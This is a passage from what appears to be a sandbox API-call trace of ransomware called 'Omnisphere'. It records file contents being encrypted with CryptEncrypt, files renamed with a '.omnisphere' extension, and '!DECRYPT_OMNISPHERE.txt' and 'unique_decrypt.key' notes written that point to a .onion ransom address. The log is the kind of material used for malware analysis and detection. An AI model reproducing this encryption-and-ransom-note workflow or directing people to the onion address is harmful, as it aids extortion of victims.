out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.687] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.687] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.688] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.688] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.688] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.688] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.688] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.688] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.688] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.688] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.688] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.688] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.688] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.688] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.688] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.688] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.688] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.688] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.688] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.688] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.688] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.688] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.689] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.689] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.689] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.689] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.689] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.689] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.689] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.689] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.689] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.689] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.689] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.689] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.689] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.689] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.690] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.690] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.690] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.690] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.690] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.690] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.690] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.690] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.690] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.690] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.690] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.690] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.690] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.690] CryptDestroyKey (hKey=0x1639b28) returned 1 [0119.690] CryptReleaseContext (hProv=0x16682c8, dwFlags=0x0) returned 1 [0119.690] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x46d, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0119.690] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0119.691] GetProcessHeap () returned 0x1600000 [0119.691] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ba) returned 0x16ae940 [0119.691] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bRyEd0espQWz0t7k.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bryed0espqwz0t7k.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bRyEd0espQWz0t7k.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bryed0espqwz0t7k.lnk.omnisphere")) returned 1 [0119.692] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bRyEd0espQWz0t7k.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bRyEd0espQWz0t7k.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bRyEd0espQWz0t7k.lnk.omnisphere.id" [0119.692] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bRyEd0espQWz0t7k.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bryed0espqwz0t7k.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0119.693] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0119.695] CloseHandle (hObject=0x3c0) returned 1 [0119.695] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0119.695] CloseHandle (hObject=0x288) returned 1 [0119.695] SetEndOfFile (hFile=0x28c) returned 1 [0119.695] FlushFileBuffers (hFile=0x28c) returned 1 [0119.699] CloseHandle (hObject=0x28c) returned 1 [0119.699] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bRyEd0espQWz0t7k.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0119.699] GetProcessHeap () returned 0x1600000 [0119.699] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16be568 [0119.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0119.699] GetProcessHeap () returned 0x1600000 [0119.699] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b21d0 [0119.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b21d0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0119.699] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0119.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0119.699] GetProcessHeap () returned 0x1600000 [0119.699] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16afb68 [0119.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16afb68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0119.699] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0119.699] GetProcessHeap () returned 0x1600000 [0119.700] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a3168 [0119.700] PathCombineW (in: pszDest=0x16a3168, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0119.700] GetProcessHeap () returned 0x1600000 [0119.700] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16b8508 [0119.700] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.700] WriteFile (in: hFile=0x28c, lpBuffer=0x16b8508*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16b8508*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0119.700] CloseHandle (hObject=0x28c) returned 1 [0119.700] GetProcessHeap () returned 0x1600000 [0119.700] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16be568 | out: hHeap=0x1600000) returned 1 [0119.700] GetProcessHeap () returned 0x1600000 [0119.700] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0119.700] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0119.701] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.701] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0119.701] CloseHandle (hObject=0x28c) returned 1 [0119.701] GetProcessHeap () returned 0x1600000 [0119.701] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0119.701] GetProcessHeap () returned 0x1600000 [0119.701] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16a2ff8 | out: hHeap=0x1600000) returned 1 [0119.701] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ff79fd0, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1ff79fd0, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1ff7c6ee, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3e2, dwReserved0=0x0, dwReserved1=0xd3, cFileName="CbldwgvSWUBGKhtjub.lnk", cAlternateFileName="CBLDWG~1.LNK")) returned 1 [0119.701] GetProcessHeap () returned 0x1600000 [0119.701] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xae) returned 0x16a2ff8 [0119.701] PathCombineW (in: pszDest=0x16a2ff8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="CbldwgvSWUBGKhtjub.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CbldwgvSWUBGKhtjub.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CbldwgvSWUBGKhtjub.lnk" [0119.701] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0119.701] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CbldwgvSWUBGKhtjub.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\cbldwgvswubgkhtjub.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.702] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=994) returned 1 [0119.702] GetTickCount () returned 0x115de85 [0119.702] GetTickCount () returned 0x115de85 [0119.702] GetTickCount () returned 0x115de85 [0119.702] GetTickCount () returned 0x115de85 [0119.702] GetTickCount () returned 0x115de85 [0119.702] GetTickCount () returned 0x115de85 [0119.702] GetTickCount () returned 0x115de85 [0119.702] GetTickCount () returned 0x115de85 [0119.702] GetTickCount () returned 0x115de85 [0119.702] GetTickCount () returned 0x115de85 [0119.702] GetTickCount () returned 0x115de85 [0119.702] GetTickCount () returned 0x115de85 [0119.702] GetTickCount () returned 0x115de85 [0119.702] GetTickCount () returned 0x115de85 [0119.702] GetTickCount () returned 0x115de85 [0119.702] GetTickCount () returned 0x115de85 [0119.702] GetTickCount () returned 0x115de85 [0119.702] GetTickCount () returned 0x115de85 [0119.703] GetTickCount () returned 0x115de85 [0119.703] GetTickCount () returned 0x115de85 [0119.703] GetTickCount () returned 0x115de85 [0119.703] GetTickCount () returned 0x115de85 [0119.703] GetTickCount () returned 0x115de85 [0119.703] GetTickCount () returned 0x115de85 [0119.703] GetTickCount () returned 0x115de85 [0119.703] GetTickCount () returned 0x115de85 [0119.703] GetTickCount () returned 0x115de85 [0119.703] GetTickCount () returned 0x115de85 [0119.703] GetTickCount () returned 0x115de85 [0119.703] GetTickCount () returned 0x115de85 [0119.703] GetTickCount () returned 0x115de85 [0119.703] GetTickCount () returned 0x115de85 [0119.703] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668240) returned 1 [0119.704] CryptImportKey (in: hProv=0x1668240, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0119.704] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0119.704] CryptDestroyKey (hKey=0x1639b28) returned 1 [0119.704] CryptReleaseContext (hProv=0x1668240, dwFlags=0x0) returned 1 [0119.704] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e2, lpName=0x0) returned 0x288 [0119.704] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e2) returned 0x1480000 [0119.705] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1669098) returned 1 [0119.706] CryptImportKey (in: hProv=0x1669098, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0119.706] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0119.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0119.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.706] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: 